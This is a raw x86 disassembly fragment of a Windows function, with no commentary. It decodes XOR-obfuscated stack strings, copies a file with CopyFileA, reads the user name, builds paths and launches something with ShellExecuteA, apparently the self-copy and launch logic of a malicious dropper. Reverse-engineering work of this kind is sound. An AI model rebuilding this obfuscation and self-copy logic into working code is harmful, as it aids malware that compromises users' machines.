mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x45
cmp byte [ebp - 0x15], 0
je 0x427dca
mov byte [ebp - 0x2f], 0xde
xor edx, edx
mov byte [ebp - 0x2e], 0x94
mov byte [ebp - 0x2d], 0x85
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 9
mov al, byte [ebp - 0x2f]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x2f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x869892fd
cmp ecx, 0xf
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x2f], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x427080
mov byte [ebp - 0x28], 0x1c
xor edx, edx
mov byte [ebp - 0x27], 0x4c
mov al, byte [ebp - 0x28]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x28]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa3b47547
cmp ecx, 0xf
mov edx, 0xffe320b4
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x28], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x4270d0
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x49c]
call fcn.0048eb20
add esp, 4
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x214]
push ecx
mov ecx, eax
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x40c]
call fcn.0040b700
mov edi, dword [ebp - 0x14]
or edi, 0x4000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x2f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427156
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x40c]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0040b700
or edi, 0x2000
mov dword [ebp - 0x14], edi
and edi, 0xffffbfff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x40c]
call fcn.0040b870
mov byte [ebp - 4], 0x4f
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x49c]
call fcn.0040b870
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x49c]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x53
sub esp, 0x18
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x57
mov byte [ebp - 4], 0x53
call fcn.00415240
add esp, 0x18
test al, al
jne 0x427cf3
lea ecx, [ebp - 0x1cc]
call fcn.0040ba70
lea ecx, [ebp - 0x2a4]
mov esi, eax
call fcn.0040ba70
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x427cf3
push 0x104
lea eax, [ebp - 0x5b8]
mov dword [ebp - 0x164], 0x104
push 0
push eax
call fcn.004fe500
add esp, 0xc
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x5b8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp - 0x104], 0xe0
xor edx, edx
mov byte [ebp - 0x103], 0x94
mov edi, 0xf
mov byte [ebp - 0x102], 0x8b
mov byte [ebp - 0x101], 0xfa
mov byte [ebp - 0x100], 0xf0
mov byte [ebp - 0xff], 0xfe
mov byte [ebp - 0xfe], 0xaa
mov byte [ebp - 0xfd], 0xb1
mov byte [ebp - 0xfc], 0xf1
mov byte [ebp - 0xfb], 0x9c
mov byte [ebp - 0xfa], 0x99
mov byte [ebp - 0xf9], 0x8f
mov byte [ebp - 0xf8], 0x8a
mov byte [ebp - 0xf7], 0x98
mov byte [ebp - 0xf6], 0x80
mov byte [ebp - 0xf5], 0xfd
mov byte [ebp - 0xf4], 0xff
mov byte [ebp - 0xf3], 0x9e
mov byte [ebp - 0xf2], 0x85
mov byte [ebp - 0xf1], 0xc8
mov byte [ebp - 0xf0], 0xa8
mov byte [ebp - 0xef], 0xa8
mov byte [ebp - 0xee], 0xae
mov byte [ebp - 0xed], 0xaa
mov byte [ebp - 0xec], 0xa4
mov byte [ebp - 0xeb], 0xb7
mov byte [ebp - 0xea], 0xb2
mov byte [ebp - 0xe9], 0xea
mov al, byte [ebp - 0x104]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x104]
mov ecx, edx
and ecx, edi
mov eax, 0x4c53a8cf
cmp ecx, edi
mov edx, 0x34830fc6
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x104], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x1c
jb 0x427330
mov byte [ebp - 0x70], 0xf2
xor edx, edx
mov byte [ebp - 0x6f], 0xf5
mov byte [ebp - 0x6e], 0xf7
mov byte [ebp - 0x6d], 0xa8
mov byte [ebp - 0x6c], 0xb4
mov byte [ebp - 0x6b], 0xf4
mov byte [ebp - 0x6a], 0xfa
mov byte [ebp - 0x69], 0xd2
mov al, byte [ebp - 0x70]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x70]
mov ecx, edx
and ecx, edi
mov eax, 0xc58161d7
cmp ecx, edi
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x70], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x427396
mov byte [ebp - 0x5c], 0xf2
xor edx, edx
mov byte [ebp - 0x5b], 0xf5
mov byte [ebp - 0x5a], 0xf7
mov byte [ebp - 0x59], 0xa8
mov byte [ebp - 0x58], 0xa8
mov byte [ebp - 0x57], 0xf4
mov byte [ebp - 0x56], 0xfa
mov byte [ebp - 0x55], 0xd2
mov al, byte [ebp - 0x5c]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x5c]
mov ecx, edx
and ecx, edi
mov eax, 0xc58161d7
cmp ecx, edi
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x5c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x4273f6
lea eax, [ebp - 0x274]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x5b8]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427450
sub ecx, edx
lea eax, [ebp - 0x5b8]
push ecx
push eax
lea ecx, [ebp - 0x274]
call fcn.0040bb00
mov byte [ebp - 4], 0x5a
xor edx, edx
mov byte [ebp - 0xce], 0x13
mov byte [ebp - 0xcd], 0xd
mov byte [ebp - 0xcc], 0xe
mov byte [ebp - 0xcb], 0x18
mov byte [ebp - 0xca], 7
mov byte [ebp - 0xc9], 0x13
mov byte [ebp - 0xc8], 0xf
mov byte [ebp - 0xc7], 0x1f
mov byte [ebp - 0xc6], 0x4a
mov byte [ebp - 0xc5], 0x5c
mov byte [ebp - 0xc4], 0x1a
mov byte [ebp - 0xc3], 0xd
mov byte [ebp - 0xc2], 0x19
mov byte [ebp - 0xc1], 0x1c
mov byte [ebp - 0xc0], 0xa
mov byte [ebp - 0xbf], 0x1d
mov byte [ebp - 0xbe], 0x50
mov byte [ebp - 0xbd], 0x51
mov byte [ebp - 0xbc], 0x10
mov byte [ebp - 0xbb], 0x5c
mov byte [ebp - 0xba], 0x59
mov byte [ebp - 0xb9], 0x22
mov byte [ebp - 0xb8], 0x21
mov byte [ebp - 0xb7], 0x5c
mov byte [ebp - 0xb6], 0x58
mov byte [ebp - 0xb5], 0x83
mov al, byte [ebp - 0xce]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xce]
mov ecx, edx
and ecx, 0xf
mov eax, 0x29cd6f67
cmp ecx, 0xf
mov edx, 0xeb9fd835
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x67]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xce], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x1a
jb 0x427531
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0xce]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427580
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
push 0
lea ecx, [ebp - 0x274]
call fcn.00493d50
push eax
lea ecx, [ebp - 0x31c]
call fcn.0040b700
mov esi, dword [ebp - 0x14]
or esi, 0x100000
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x5c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4275c0
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
lea ecx, [ebp - 0x31c]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x304]
call fcn.0040b700
or esi, 0x200000
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x5d
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x304]
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.0040b700
lea eax, [ebp - 0x70]
or esi, 0x400000
push eax
lea edx, [ebp - 0x2ec]
mov dword [ebp - 0x14], esi
lea ecx, [ebp - 0x4b4]
call fcn.0048ebb0
add esp, 4
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x214]
push ecx
mov ecx, eax
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x424]
call fcn.0040b700
lea eax, [ebp - 0x104]
or esi, 0x800000
push eax
lea edx, [ebp - 0x424]
mov dword [ebp - 0x14], esi
lea ecx, [ebp - 0x3ac]
call fcn.0048ebb0
add esp, 4
mov byte [ebp - 4], 0x60
and esi, 0xff7fffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x424]
call fcn.0040b870
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x424]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x4b4]
call fcn.0040b870
mov byte [ebp - 4], 0x65
lea eax, [ebp - 0x4b4]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x65
and esi, 0xffbfffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2ec]
call fcn.0040b870
mov byte [ebp - 4], 0x69
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x69
and esi, 0xffdfffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x304]
call fcn.0040b870
mov byte [ebp - 4], 0x6d
lea eax, [ebp - 0x304]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x6d
and esi, 0xffefffff
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x31c]
call fcn.0040b870
mov byte [ebp - 4], 0x71
lea eax, [ebp - 0x31c]
mov dword [ebp - 0x160], eax
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x274]
call fcn.0040b870
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x274]
mov dword [ebp - 0x154], eax
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x3ac]
call fcn.0040ba70
xor dl, dl
mov ecx, eax
call fcn.00425cc0
mov byte [ebp - 0x121], 0x60
xor edx, edx
mov byte [ebp - 0x120], 6
mov byte [ebp - 0x11f], 2
mov byte [ebp - 0x11e], 0x7a
mov byte [ebp - 0x11d], 0x74
mov byte [ebp - 0x11c], 0x74
mov byte [ebp - 0x11b], 0x2f
mov byte [ebp - 0x11a], 0x34
mov byte [ebp - 0x119], 0x71
mov byte [ebp - 0x118], 0x1a
mov byte [ebp - 0x117], 0x19
mov byte [ebp - 0x116], 0x16
mov byte [ebp - 0x115], 0x15
mov byte [ebp - 0x114], 0x13
mov byte [ebp - 0x113], 0x1f
mov byte [ebp - 0x112], 0x16
mov byte [ebp - 0x111], 0x70
mov byte [ebp - 0x110], 0x75
mov byte [ebp - 0x10f], 0x27
mov byte [ebp - 0x10e], 4
mov byte [ebp - 0x10d], 0x44
mov byte [ebp - 0x10c], 0x23
mov byte [ebp - 0x10b], 0x25
mov byte [ebp - 0x10a], 0x20
mov byte [ebp - 0x109], 0x29
mov byte [ebp - 0x108], 0x20
mov byte [ebp - 0x107], 0x34
mov byte [ebp - 0x106], 0x3e
mov byte [ebp - 0x105], 0x6a
mov al, byte [ebp - 0x121]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x121]
mov ecx, edx
and ecx, 0xf
mov eax, 0x3f958a4d
cmp ecx, 0xf
mov edx, 0x4be32034
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x4d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x121], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x1d
jb 0x427850
mov byte [ebp - 0x54], 0xf2
xor edx, edx
mov byte [ebp - 0x53], 0xf5
mov byte [ebp - 0x52], 0xf7
mov byte [ebp - 0x51], 0xa8
mov byte [ebp - 0x50], 0xb4
mov byte [ebp - 0x4f], 0xf4
mov byte [ebp - 0x4e], 0xfa
mov byte [ebp - 0x4d], 0xd2
mov al, byte [ebp - 0x54]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x54]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x54], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x4278c0
mov byte [ebp - 0x64], 0xf2
xor edx, edx
mov byte [ebp - 0x63], 0xf5
mov byte [ebp - 0x62], 0xf7
mov byte [ebp - 0x61], 0xa8
mov byte [ebp - 0x60], 0xa8
mov byte [ebp - 0x5f], 0xf4
mov byte [ebp - 0x5e], 0xfa
mov byte [ebp - 0x5d], 0xd2
mov al, byte [ebp - 0x64]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x64]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x64], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x427922
lea eax, [ebp - 0x28c]
mov ecx, eax
mov dword [ebp - 0x154], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x5b8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427980
sub ecx, edx
lea eax, [ebp - 0x5b8]
push ecx
push eax
lea ecx, [ebp - 0x28c]
call fcn.0040bb00
mov byte [ebp - 4], 0x7b
xor edx, edx
mov byte [ebp - 0xe8], 0x13
mov byte [ebp - 0xe7], 0xd
mov byte [ebp - 0xe6], 0xe
mov byte [ebp - 0xe5], 0x18
mov byte [ebp - 0xe4], 7
mov byte [ebp - 0xe3], 0x13
mov byte [ebp - 0xe2], 0xf
mov byte [ebp - 0xe1], 0x1f
mov byte [ebp - 0xe0], 0x4a
mov byte [ebp - 0xdf], 0x5c
mov byte [ebp - 0xde], 0x1a
mov byte [ebp - 0xdd], 0xd
mov byte [ebp - 0xdc], 0x19
mov byte [ebp - 0xdb], 0x1c
mov byte [ebp - 0xda], 0xa
mov byte [ebp - 0xd9], 0x1d
mov byte [ebp - 0xd8], 0x50
mov byte [ebp - 0xd7], 0x51
mov byte [ebp - 0xd6], 0x10
mov byte [ebp - 0xd5], 0x5c
mov byte [ebp - 0xd4], 0x59
mov byte [ebp - 0xd3], 0x22
mov byte [ebp - 0xd2], 0x21
mov byte [ebp - 0xd1], 0x5c
mov byte [ebp - 0xd0], 0x58
mov byte [ebp - 0xcf], 0x83
mov al, byte [ebp - 0xe8]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0xe8]
mov ecx, edx
and ecx, 0xf
mov eax, 0x29cd6f67
cmp ecx, 0xf
mov edx, 0xeb9fd835
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x67]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe8], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x1a
jb 0x427a61
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0xe8]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427ab0
sub ecx, edx
lea eax, [ebp - 0xe8]
push ecx
push eax
push 0
lea ecx, [ebp - 0x28c]
call fcn.00493d50
push eax
lea ecx, [ebp - 0x37c]
call fcn.0040b700
mov edi, dword [ebp - 0x14]
or edi, 0x2000000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x64]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427af0
sub ecx, edx
lea eax, [ebp - 0x64]
push ecx
push eax
lea ecx, [ebp - 0x37c]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x364]
call fcn.0040b700
or edi, 0x4000000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x7e
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x364]
call fcn.0048a4f0
push eax
lea ecx, [ebp - 0x34c]
call fcn.0040b700
or edi, 0x8000000
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x54]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427b53
sub ecx, edx
lea eax, [ebp - 0x54]
push ecx
push eax
lea ecx, [ebp - 0x34c]
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x334]
call fcn.0040b700
lea eax, [ebp - 0x214]
or edi, 0x80000
push eax
lea edx, [ebp - 0x334]
mov dword [ebp - 0x14], edi
lea ecx, [ebp - 0x43c]
call fcn.0048ed80
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x121]
push ecx
mov edx, eax
lea ecx, [ebp - 0x394]
call fcn.0048ebb0
add esp, 8
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x43c]
call fcn.0040b870
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x154], eax
mov byte [ebp - 4], 0x82
and edi, 0xfff7ffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x87
lea ecx, [ebp - 0x334]
call fcn.0040b870
mov byte [ebp - 4], 0x86
lea eax, [ebp - 0x334]
mov dword [ebp - 0x160], eax
mov byte [ebp - 4], 0x86
and edi, 0xf7ffffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x34c]
call fcn.0040b870
mov byte [ebp - 4], 0x8a
lea eax, [ebp - 0x34c]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x8a
and edi, 0xfbffffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x364]
call fcn.0040b870
mov byte [ebp - 4], 0x8e
lea eax, [ebp - 0x364]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x8e
and edi, 0xfdffffff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x37c]
call fcn.0040b870
mov byte [ebp - 4], 0x92
lea eax, [ebp - 0x37c]
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x28c]
call fcn.0040b870
mov byte [ebp - 4], 0x96
lea eax, [ebp - 0x28c]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x394]
call fcn.0040ba70
xor dl, dl
mov ecx, eax
call fcn.00425cc0
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x394]
call fcn.0040b870
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x394]
mov dword [ebp - 0x16c], eax
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x3ac]
call fcn.0040b870
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x3ac]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x53
sub esp, 0x18
lea eax, [ebp - 0x1cc]
mov ecx, esp
mov dword [ebp - 0xa4], esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0xa0
mov byte [ebp - 4], 0x53
call fcn.00415240
add esp, 0x18
test al, al
je 0x427d9e
lea ecx, [ebp - 0x1cc]
call fcn.0040ba70
mov byte [ebp - 0x48], 0x9f
xor edx, edx
mov byte [ebp - 0x47], 0x81
mov esi, eax
mov byte [ebp - 0x46], 0x98
mov edi, 0xf
mov byte [ebp - 0x45], 0x67
mov byte [ebp - 0x44], 9
mov cl, byte [ebp - 0x48]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x48]
mov ecx, edx
and ecx, edi
mov eax, 0x869892fd
cmp ecx, edi
mov edx, 0xc2b6c60e
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x48], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 5
jb 0x427d50
push 1
push 0
push 0
push esi
lea eax, [ebp - 0x48]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [ebp - 0x14]
and edi, 0xffffdfff
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x1cc]
call fcn.0040b870
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x45
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x1b4]
call fcn.0040b870
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1b4]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 3
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x2a4]
call fcn.0040b870
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x214]
call fcn.0040b870
mov byte [ebp - 4], 1
lea eax, [ebp - 0x214]
mov dword [ebp - 0x16c], eax
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x22c]
call fcn.0040b870
mov byte [ebp - 4], 0
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x154], eax
mov dword [ebp - 4], 0xb0
lea ecx, [ebp - 0x2bc]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x2bc]
mov dword [ebp - 0x160], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret